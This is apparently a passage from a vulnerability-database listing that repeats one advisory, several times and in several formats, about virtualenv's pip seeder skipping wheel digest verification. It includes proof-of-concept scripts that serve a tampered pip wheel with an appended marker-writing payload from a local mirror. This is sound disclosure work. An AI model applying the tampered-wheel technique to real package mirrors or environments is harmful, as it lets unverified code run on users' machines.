python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-pipenv-CVE-2026-113717",
      "modified": "2026-11-19T09:22:30Z",
      "published": "2026-10-26T09:13:54Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-POETRY-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-11-19 09:13 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "poetry",
            "purl": "pkg:brew/poetry"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.0"
                },
                {
                  "fixed": "2.5.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-poetry-CVE-2026-113717",
      "modified": "2026-11-19T09:13:01Z",
      "published": "2026-10-26T09:10:45Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-PRE-COMMIT-CVE-2026… (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:58 – Updated: 2026-11-19 10:22 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
